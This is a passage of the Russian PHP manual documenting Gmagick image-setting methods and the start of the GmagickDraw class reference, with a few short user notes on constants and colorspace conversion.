X-координата голубой основной точки.

y

Y-координата голубой основной точки.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет рамки изображения

  • « Gmagick::setimageblueprimary
  • Gmagick::setimagechanneldepth »
  • PHP Manual
  • Gmagick
  • Устанавливает цвет рамки изображения

Gmagick::setimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::setimagebordercolor — Устанавливает цвет рамки изображения

Описание

public Gmagick::setimagebordercolor(GmagickPixel $color): Gmagick

Устанавливает цвет рамки изображения.

Список параметров

color

Цвет рамки.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает глубину определённого канала изображения

  • « Gmagick::setimagebordercolor
  • Gmagick::setimagecolorspace »
  • PHP Manual
  • Gmagick
  • Устанавливает глубину определённого канала изображения

Gmagick::setimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::setimagechanneldepth — Устанавливает глубину определённого канала изображения

Описание

public Gmagick::setimagechanneldepth(int $channel, int $depth): Gmagick

Устанавливает глубину определённого канала изображения.

Список параметров

channel

Одна из констант канала (Gmagick::CHANNEL_*).

depth

Глубина изображения в битах.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветовое пространство изображения

  • « Gmagick::setimagechanneldepth
  • Gmagick::setimagecompose »
  • PHP Manual
  • Gmagick
  • Устанавливает цветовое пространство изображения

Gmagick::setimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::setimagecolorspace — Устанавливает цветовое пространство изображения

Описание

public Gmagick::setimagecolorspace(int $colorspace): Gmagick

Устанавливает цветовое пространство изображения.

Список параметров

colorspace

Одна из констант Цветового пространства (Gmagick::COLORSPACE_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

MPLong 28-Jun-2010 11:24
Convert CMYK to RGB:

<?php
$cs = $im->getimagecolorspace();
if ($cs == Gmagick::COLORSPACE_CMYK)
{
     $im->setImageColorspace(Gmagick::COLORSPACE_SRGB);
}
?>


Устанавливает оператор составного изображения

  • « Gmagick::setimagecolorspace
  • Gmagick::setimagedelay »
  • PHP Manual
  • Gmagick
  • Устанавливает оператор составного изображения

Gmagick::setimagecompose

(PECL gmagick >= Unknown)

Gmagick::setimagecompose — Устанавливает оператор составного изображения

Описание

public Gmagick::setimagecompose(int $composite): Gmagick

Устанавливает оператор составного изображения.

Список параметров

composite

Оператор составного изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает задержку изображения

  • « Gmagick::setimagecompose
  • Gmagick::setimagedepth »
  • PHP Manual
  • Gmagick
  • Устанавливает задержку изображения

Gmagick::setimagedelay

(PECL gmagick >= Unknown)

Gmagick::setimagedelay — Устанавливает задержку изображения

Описание

public Gmagick::setimagedelay(int $delay): Gmagick

Устанавливает задержку изображения.

Список параметров

delay

Задержка изображения в 1/100 секунды.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает глубину изображения

  • « Gmagick::setimagedelay
  • Gmagick::setimagedispose »
  • PHP Manual
  • Gmagick
  • Устанавливает глубину изображения

Gmagick::setimagedepth

(PECL gmagick >= Unknown)

Gmagick::setimagedepth — Устанавливает глубину изображения

Описание

public Gmagick::setimagedepth(int $depth): Gmagick

Устанавливает глубину изображения.

Список параметров

depth

Глубина изображения в битах: 8, 16 или 32.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает метод удаления изображения

  • « Gmagick::setimagedepth
  • Gmagick::setimagefilename »
  • PHP Manual
  • Gmagick
  • Устанавливает метод удаления изображения

Gmagick::setimagedispose

(PECL gmagick >= Unknown)

Gmagick::setimagedispose — Устанавливает метод удаления изображения

Описание

public Gmagick::setimagedispose(int $disposeType): Gmagick

Устанавливает метод удаления изображения.

Список параметров

disposeType

Тип удаления изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя файла конкретного изображения в последовательности

  • « Gmagick::setimagedispose
  • Gmagick::setimageformat »
  • PHP Manual
  • Gmagick
  • Устанавливает имя файла конкретного изображения в последовательности

Gmagick::setimagefilename

(PECL gmagick >= Unknown)

Gmagick::setimagefilename — Устанавливает имя файла конкретного изображения в последовательности

Описание

public Gmagick::setimagefilename(string $filename): Gmagick

Устанавливает имя файла конкретного изображения в последовательности.

Список параметров

filename

Имя файла изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает формат определённого изображения

  • « Gmagick::setimagefilename
  • Gmagick::setimagegamma »
  • PHP Manual
  • Gmagick
  • Устанавливает формат определённого изображения

Gmagick::setimageformat

(PECL gmagick >= Unknown)

Gmagick::setimageformat — Устанавливает формат определённого изображения

Описание

public Gmagick::setimageformat(string $imageFormat): Gmagick

Устанавливает формат определённого изображения в последовательности.

Список параметров

imageFormat

Формат изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает гамму изображения

  • « Gmagick::setimageformat
  • Gmagick::setimagegreenprimary »
  • PHP Manual
  • Gmagick
  • Устанавливает гамму изображения

Gmagick::setimagegamma

(PECL gmagick >= Unknown)

Gmagick::setimagegamma — Устанавливает гамму изображения

Описание

public Gmagick::setimagegamma(float $gamma): Gmagick

Устанавливает гамму изображения.

Список параметров

gamma

Гамма изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения зелёной первичной точкой

  • « Gmagick::setimagegamma
  • Gmagick::setimageindex »
  • PHP Manual
  • Gmagick
  • Устанавливает цветность изображения зелёной первичной точкой

Gmagick::setimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::setimagegreenprimary — Устанавливает цветность изображения зелёной первичной точкой

Описание

public Gmagick::setimagegreenprimary(float $x, float $y): Gmagick

Устанавливает цветность изображения зелёной первичной точкой.

Список параметров

x

X-координата зелёной основной точки.

y

Y-координата зелёной основной точки.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает итератор в положение в списке изображений, заданном параметром index

  • « Gmagick::setimagegreenprimary
  • Gmagick::setimageinterlacescheme »
  • PHP Manual
  • Gmagick
  • Устанавливает итератор в положение в списке изображений, заданном параметром index

Gmagick::setimageindex

(PECL gmagick >= Unknown)

Gmagick::setimageindex — Устанавливает итератор в положение в списке изображений, заданном параметром index

Описание

public Gmagick::setimageindex(int $index): Gmagick

Устанавливает итератор в положение в списке изображений, заданном параметром index.

Список параметров

index

Номер сцены.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает схему чересстрочной развёртки изображения

  • « Gmagick::setimageindex
  • Gmagick::setimageiterations »
  • PHP Manual
  • Gmagick
  • Устанавливает схему чересстрочной развёртки изображения

Gmagick::setimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::setimageinterlacescheme — Устанавливает схему чересстрочной развёртки изображения

Описание

public Gmagick::setimageinterlacescheme(int $interlace): Gmagick

Устанавливает схему чересстрочной развёртки изображения.

Список параметров

interlace

Одна из констант схемы чересстрочного изображения (Gmagick::INTERLACE_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

Isius 03-Jan-2013 03:24
Just in case you're having trouble finding the constants for this like I was. They are as-of-yet unlisted on the predefined constants page.

INTERLACE_UNDEFINED, UndefinedInterlace
INTERLACE_NO, NoInterlace
INTERLACE_LINE, LineInterlace
INTERLACE_PLANE, PlaneInterlace
INTERLACE_PARTITION, PartitionInterlace


Устанавливает итерации изображения

  • « Gmagick::setimageinterlacescheme
  • Gmagick::setimageprofile »
  • PHP Manual
  • Gmagick
  • Устанавливает итерации изображения

Gmagick::setimageiterations

(PECL gmagick >= Unknown)

Gmagick::setimageiterations — Устанавливает итерации изображения

Описание

public Gmagick::setimageiterations(int $iterations): Gmagick

Устанавливает итерации изображения.

Список параметров

iterations

Задержка изображения в 1/100 секунды.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет именованный профиль в объект Gmagick

  • « Gmagick::setimageiterations
  • Gmagick::setimageredprimary »
  • PHP Manual
  • Gmagick
  • Добавляет именованный профиль в объект Gmagick

Gmagick::setimageprofile

(PECL gmagick >= Unknown)

Gmagick::setimageprofile — Добавляет именованный профиль в объект Gmagick

Описание

public Gmagick::setimageprofile(string $name, string $profile): Gmagick

Добавляет именованный профиль в объект Gmagick. Если профиль с таким именем уже существует, он заменяется. Метод отличается от метода Gmagick::profileimage() тем, что он не применяет цветовые профили CMS.

Список параметров

name

Имя профиля для добавления или удаления: ICC, IPTC или общий профиль.

profile

Профиль.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения красной основной точкой

  • « Gmagick::setimageprofile
  • Gmagick::setimagerenderingintent »
  • PHP Manual
  • Gmagick
  • Устанавливает цветность изображения красной основной точкой

Gmagick::setimageredprimary

(PECL gmagick >= Unknown)

Gmagick::setimageredprimary — Устанавливает цветность изображения красной основной точкой

Описание

public Gmagick::setimageredprimary(float $x, float $y): Gmagick

Устанавливает цветность изображения красной основной точкой.

Список параметров

x

X-координата красной основной точки.

y

Y-координата красной основной точки

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает способ рендеринга изображения

  • « Gmagick::setimageredprimary
  • Gmagick::setimageresolution »
  • PHP Manual
  • Gmagick
  • Устанавливает способ рендеринга изображения

Gmagick::setimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::setimagerenderingintent — Устанавливает способ рендеринга изображения

Описание

public Gmagick::setimagerenderingintent(int $rendering_intent): Gmagick

Устанавливает способ рендеринга изображения.

Список параметров

rendering_intent

Одна из констант способа отображения (Gmagick::RENDERINGINTENT_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает разрешение изображения

  • « Gmagick::setimagerenderingintent
  • Gmagick::setimagescene »
  • PHP Manual
  • Gmagick
  • Устанавливает разрешение изображения

Gmagick::setimageresolution

(PECL gmagick >= Unknown)

Gmagick::setimageresolution — Устанавливает разрешение изображения

Описание

public Gmagick::setimageresolution(float $xResolution, float $yResolution): Gmagick

Устанавливает разрешение изображения.

Список параметров

xResolution

Разрешение изображения х.

yResolution

Разрешение изображения y.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает сцену изображения

  • « Gmagick::setimageresolution
  • Gmagick::setimagetype »
  • PHP Manual
  • Gmagick
  • Устанавливает сцену изображения

Gmagick::setimagescene

(PECL gmagick >= Unknown)

Gmagick::setimagescene — Устанавливает сцену изображения

Описание

public Gmagick::setimagescene(int $scene): Gmagick

Устанавливает сцену изображения.

Список параметров

scene

Номер сцены изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает тип изображения

  • « Gmagick::setimagescene
  • Gmagick::setimageunits »
  • PHP Manual
  • Gmagick
  • Устанавливает тип изображения

Gmagick::setimagetype

(PECL gmagick >= Unknown)

Gmagick::setimagetype — Устанавливает тип изображения

Описание

public Gmagick::setimagetype(int $imgType): Gmagick

Устанавливает тип изображения.

Список параметров

imgType

Одна из констант типа изображения (Gmagick::IMGTYPE_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

Jrg Wagner 18-Sep-2012 11:52
The predefined constant values listed here are wrong. The correct values can be found at:
www.php.net/manual/de/gmagick.constants.php

They are:
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)

The $image_Type parameter can be one of these constants:

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)

See section "IMGTYPE constants" at http://www.php.net/manual/en/imagick.constants.php


Устанавливает единицы разрешения изображения

  • « Gmagick::setimagetype
  • Gmagick::setimagewhitepoint »
  • PHP Manual
  • Gmagick
  • Устанавливает единицы разрешения изображения

Gmagick::setimageunits

(PECL gmagick >= Unknown)

Gmagick::setimageunits — Устанавливает единицы разрешения изображения

Описание

public Gmagick::setimageunits(int $resolution): Gmagick

Устанавливает единицы разрешения изображения.

Список параметров

resolution

Одна из констант разрешения (Gmagick::RESOLUTION_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения белой точкой

  • « Gmagick::setimageunits
  • Gmagick::setsamplingfactors »
  • PHP Manual
  • Gmagick
  • Устанавливает цветность изображения белой точкой

Gmagick::setimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::setimagewhitepoint — Устанавливает цветность изображения белой точкой

Описание

public Gmagick::setimagewhitepoint(float $x, float $y): Gmagick

Устанавливает цветность изображения белой точкой.

Список параметров

x

X-координата белой основной точки.

y

Y-координата белой основной точки.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает факторы выборки изображения

  • « Gmagick::setimagewhitepoint
  • Gmagick::setsize »
  • PHP Manual
  • Gmagick
  • Устанавливает факторы выборки изображения

Gmagick::setsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::setsamplingfactors — Устанавливает факторы выборки изображения

Описание

public Gmagick::setsamplingfactors(array $factors): Gmagick

Устанавливает факторы выборки изображения.

Список параметров

factors

Массив значений с типом float, представляющий фактор выборки для каждого компонента цвета (в порядке RGB).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает размер объекта Gmagick

  • « Gmagick::setsamplingfactors
  • Gmagick::shearimage »
  • PHP Manual
  • Gmagick
  • Устанавливает размер объекта Gmagick

Gmagick::setsize

(PECL gmagick >= Unknown)

Gmagick::setsize — Устанавливает размер объекта Gmagick

Описание

public Gmagick::setsize(int $columns, int $rows): Gmagick

Устанавливает размер объекта Gmagick. Установите его, прежде чем читать сырой формат изображения, такой как Gmagick::COLORSPACE_RGB, Gmagick::COLORSPACE_GRAY или Gmagick::COLORSPACE_CMYK.

Список параметров

columns

Ширина в пикселях.

rows

Высота в пикселях.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт параллелограмм

  • « Gmagick::setsize
  • Gmagick::solarizeimage »
  • PHP Manual
  • Gmagick
  • Создаёт параллелограмм

Gmagick::shearimage

(PECL gmagick >= Unknown)

Gmagick::shearimage — Создаёт параллелограмм

Описание

public Gmagick::shearimage(mixed $color, float $xShear, float $yShear): Gmagick

Сдвигает один край изображения по оси X или Y, образуя параллелограмм. Сдвиг в направлении X сдвигает край по оси X, а сдвиг в направлении Y перемещает край по оси Y. Величина сдвига контролируется углом сдвига. Для сдвига в направлении X xShear измеряется относительно оси Y, и аналогичным образом для сдвига в направлении Y yShear измеряется относительно оси X. Пустые треугольники, оставшиеся от обрезки изображения, заполняются цветом фона.

Список параметров

color

Фоновая пиксельная палочка.

xShear

Число градусов для сдвига изображения по оси X.

yShear

Число градусов для сдвига изображения по оси Y.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Применяет соляризационный эффект к изображению

  • « Gmagick::shearimage
  • Gmagick::spreadimage »
  • PHP Manual
  • Gmagick
  • Применяет соляризационный эффект к изображению

Gmagick::solarizeimage

(PECL gmagick >= Unknown)

Gmagick::solarizeimage — Применяет соляризационный эффект к изображению

Описание

public Gmagick::solarizeimage(int $threshold): Gmagick

Применяет особый эффект к изображению, подобный эффекту, достигаемому в фотолаборатории с помощью выборочного экспонирования областей светочувствительной бумаги на свет. Порог варьируется от 0 до QuantumRange и является мерой степени соляризации.

Список параметров

threshold

Степень соляризации.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Случайно смещает каждый пиксель в блоке

  • « Gmagick::solarizeimage
  • Gmagick::stripimage »
  • PHP Manual
  • Gmagick
  • Случайно смещает каждый пиксель в блоке

Gmagick::spreadimage

(PECL gmagick >= Unknown)

Gmagick::spreadimage — Случайно смещает каждый пиксель в блоке

Описание

public Gmagick::spreadimage(float $radius): Gmagick

Метод специальных эффектов, который случайным образом смещает каждый пиксель в блоке, заданном параметром radius.

Список параметров

radius

Выберите случайный пиксель в окрестности этого пространства.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Снимает изображение всех профилей и комментариев

  • « Gmagick::spreadimage
  • Gmagick::swirlimage »
  • PHP Manual
  • Gmagick
  • Снимает изображение всех профилей и комментариев

Gmagick::stripimage

(PECL gmagick >= Unknown)

Gmagick::stripimage — Снимает изображение всех профилей и комментариев

Описание

public Gmagick::stripimage(): Gmagick

Снимает изображение всех профилей и комментариев.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Закручивает пиксели вокруг центра изображения

  • « Gmagick::stripimage
  • Gmagick::thumbnailimage »
  • PHP Manual
  • Gmagick
  • Закручивает пиксели вокруг центра изображения

Gmagick::swirlimage

(PECL gmagick >= Unknown)

Gmagick::swirlimage — Закручивает пиксели вокруг центра изображения

Описание

public Gmagick::swirlimage(float $degrees): Gmagick

Закручивает пиксели вокруг центра изображения, где градусы указывают размах дуги, по которой перемещается каждый пиксель. Вы получаете более драматический эффект, когда градусы перемещаются от 1 до 360.

Список параметров

degrees

Определяет герметичность закрученного эффекта.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет размер изображения

  • « Gmagick::swirlimage
  • Gmagick::trimimage »
  • PHP Manual
  • Gmagick
  • Изменяет размер изображения

Gmagick::thumbnailimage

(PECL gmagick >= Unknown)

Gmagick::thumbnailimage — Изменяет размер изображения

Описание

public Gmagick::thumbnailimage(int $width, int $height, bool $fit = false): Gmagick

Изменяет размер изображения до заданных размеров и удаляет все связанные профили. Цель заключается в создании небольших миниатюрных изображений, подходящих для показа в Интернете. Если в качестве третьего параметра задано значение true, то параметры столбцов и строк используются в качестве максимумов для каждой стороны. Обе стороны будут уменьшены до совпадения или меньше, чем параметр, заданный для стороны.

Список параметров

width

Ширина изображения.

height

Высота изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

isius 17-Jun-2014 03:21
It's not mentioned, but this function removes all profiles, etcetera from the image.


Удаляет края с изображения

  • « Gmagick::thumbnailimage
  • Gmagick::write »
  • PHP Manual
  • Gmagick
  • Удаляет края с изображения

Gmagick::trimimage

(PECL gmagick >= Unknown)

Gmagick::trimimage — Удаляет края с изображения

Описание

public Gmagick::trimimage(float $fuzz): Gmagick

Удаляет края, которые являются цветом фона с изображения.

Список параметров

fuzz

По умолчанию цель должна точно соответствовать определённому цвету пикселя. Однако во многих случаях два цвета могут незначительно отличаться. Размытый элемент изображения определяет, насколько допустимо определять, чтобы два цвета считались одинаковыми. Параметр представляет собой изменение квантового диапазона.

Возвращаемые значения

Объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним Gmagick::writeimage

  • « Gmagick::trimimage
  • Gmagick::writeimage »
  • PHP Manual
  • Gmagick
  • Псевдоним Gmagick::writeimage

Gmagick::write

(PECL gmagick >= Unknown)

Gmagick::write — Псевдоним Gmagick::writeimage()

Описание

Метод является псевдонимом: Gmagick::writeimage().

User Contributed Notes

There are no user contributed notes for this page.


Записывает изображение в указанный файл

  • « Gmagick::write
  • GmagickDraw »
  • PHP Manual
  • Gmagick
  • Записывает изображение в указанный файл

Gmagick::writeimage

(PECL gmagick >= Unknown)

Gmagick::writeimage — Записывает изображение в указанный файл

Описание

public Gmagick::writeimage(string $filename, bool $all_frames = false): Gmagick

Записывает изображение в указанный файл. Если в качестве имени файла указано null, то изображение будет записано в файл, заданный Gmagick::readimage() или Gmagick::setimagefilename().

Список параметров

filename

Имя файла.

Возвращаемые значения

Объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс GmagickDraw

(PECL gmagick >= Unknown)

Введение

Обзор классов

class GmagickDraw {
/* Методы */
public annotate(float $x, float $y, string $text): GmagickDraw
public arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): GmagickDraw
public bezier(array $coordinate_array): GmagickDraw
public ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): GmagickDraw
public getfillcolor(): GmagickPixel
public getfillopacity(): float
public getfont(): mixed
public getfontsize(): float
public getfontstyle(): int
public getfontweight(): int
public getstrokecolor(): GmagickPixel
public getstrokeopacity(): float
public getstrokewidth(): float
public gettextdecoration(): int
public gettextencoding(): mixed
public line(
float $sx,
float $sy,
float $ex,
float $ey
): GmagickDraw
public point(float $x, float $y): GmagickDraw
public polygon(array $coordinates): GmagickDraw
public polyline(array $coordinate_array): GmagickDraw
public rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): GmagickDraw
public rotate(float $degrees): GmagickDraw
public roundrectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): GmagickDraw
public scale(float $x, float $y): GmagickDraw
public setfillcolor(mixed $color): GmagickDraw
public setfillopacity(float $fill_opacity): GmagickDraw
public setfont(string $font): GmagickDraw
public setfontsize(float $pointsize): GmagickDraw
public setfontstyle(int $style): GmagickDraw
public setfontweight(int $weight): GmagickDraw
public setstrokecolor(mixed $color): GmagickDraw
public setstrokeopacity(float $stroke_opacity): GmagickDraw
public setstrokewidth(float $width): GmagickDraw
public settextdecoration(int $decoration): GmagickDraw
public settextencoding(string $encoding): GmagickDraw
}

Содержание

  • GmagickDraw::annotate — Рисует текст на изображении
  • GmagickDraw::arc — Рисует дугу
  • GmagickDraw::bezier — Рисует кривую Безье
  • GmagickDraw::ellipse — Рисует эллипс на изображении
  • GmagickDraw::getfillcolor — Возвращает цвет заливки
  • GmagickDraw::getfillopacity — Возвращает значение прозрачности, используемое при рисовании
  • GmagickDraw::getfont — Возвращает шрифт
  • GmagickDraw::getfontsize — Возвращает размер шрифта
  • GmagickDraw::getfontstyle — Возвращает стиль шрифта
  • GmagickDraw::getfontweight — Возвращает толщину шрифта
  • GmagickDraw::getstrokecolor — Возвращает цвет, используемый для обводки контуров объекта
  • GmagickDraw::getstrokeopacity — Возвращает прозрачность обведённых контуров объекта
  • GmagickDraw::getstrokewidth — Возвращает ширину обводки, используемой для отрисовки контуров объекта
  • GmagickDraw::gettextdecoration — Возвращает оформление текста
  • GmagickDraw::gettextencoding — Возвращает кодовый набор, используемый для текстовых аннотаций
  • GmagickDraw::line — Рисует линию
  • GmagickDraw::point — Рисует точку
  • GmagickDraw::polygon — Рисует многоугольник
  • GmagickDraw::polyline — Рисует ломаную линию
  • GmagickDraw::rectangle — Рисует прямоугольник
  • GmagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству
  • GmagickDraw::roundrectangle — Рисует прямоугольник с закруглёнными углами
  • GmagickDraw::scale — Регулирует коэффициент масштабирования
  • GmagickDraw::setfillcolor — Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой
  • GmagickDraw::setfillopacity — Устанавливает непрозрачность заливки
  • GmagickDraw::setfont — Устанавливает указанный шрифт для использования при аннотации текста
  • GmagickDraw::setfontsize — Устанавливает размер шрифта для использования при аннотации текста
  • GmagickDraw::setfontstyle — Устанавливает стиль шрифта для использования при аннотации текста
  • GmagickDraw::setfontweight — Устанавливает толщину шрифта
  • GmagickDraw::setstrokecolor — Устанавливает цвет, используемый для обводки контуров объекта
  • GmagickDraw::setstrokeopacity — Определяет прозрачность обводки контуров объекта
  • GmagickDraw::setstrokewidth — Устанавливает ширину обводки, используемой для отрисовки контуров объекта
  • GmagickDraw::settextdecoration — Определяет оформление
  • GmagickDraw::settextencoding — Задаёт кодовый набор текста

User Contributed Notes

There are no user contributed notes for this page.


Рисует текст на изображении

  • « GmagickDraw
  • GmagickDraw::arc »
  • PHP Manual
  • GmagickDraw
  • Рисует текст на изображении

GmagickDraw::annotate

(PECL gmagick >= Unknown)

GmagickDraw::annotate — Рисует текст на изображении

Описание

public GmagickDraw::annotate(float $x, float $y, string $text): GmagickDraw

Рисует текст на изображении.

Список параметров

x

Координата x слева от текста.

y

Координата y относительно базовой линии текста.

text

Текст для рисования.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует дугу

  • « GmagickDraw::annotate
  • GmagickDraw::bezier »
  • PHP Manual
  • GmagickDraw
  • Рисует дугу

GmagickDraw::arc

(PECL gmagick >= Unknown)

GmagickDraw::arc — Рисует дугу

Описание

public GmagickDraw::arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): GmagickDraw

Рисует дугу, находящуюся в пределах ограничивающего прямоугольника на изображении.

Список параметров

sx

Начальная координата x ограничивающего прямоугольника.

sy

Начальная координата y ограничивающего прямоугольника.

ex

Конечная координата x ограничивающего прямоугольника.

ey

Конечная координата y ограничивающего прямоугольника.

sd

Начальный градус поворота.

ed

Конечный градус поворота.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует кривую Безье

  • « GmagickDraw::arc
  • GmagickDraw::ellipse »
  • PHP Manual
  • GmagickDraw
  • Рисует кривую Безье

GmagickDraw::bezier

(PECL gmagick >= Unknown)

GmagickDraw::bezier — Рисует кривую Безье

Описание

public GmagickDraw::bezier(array $coordinate_array): GmagickDraw

Рисует кривую Безье через набор точек на изображении.

Список параметров

coordinate_array

Массив координат.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует эллипс на изображении

  • « GmagickDraw::bezier
  • GmagickDraw::getfillcolor »
  • PHP Manual
  • GmagickDraw
  • Рисует эллипс на изображении

GmagickDraw::ellipse

(PECL gmagick >= Unknown)

GmagickDraw::ellipse — Рисует эллипс на изображении

Описание

public GmagickDraw::ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): GmagickDraw

Рисует эллипс на изображении.

Список параметров

ox

Исходная координата x.

oy

Исходная координата y.

rx

Радиус в x.

ry

Радиус в y.

start

Начальный градус поворота.

end

Конечный градус поворота.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет заливки

  • « GmagickDraw::ellipse
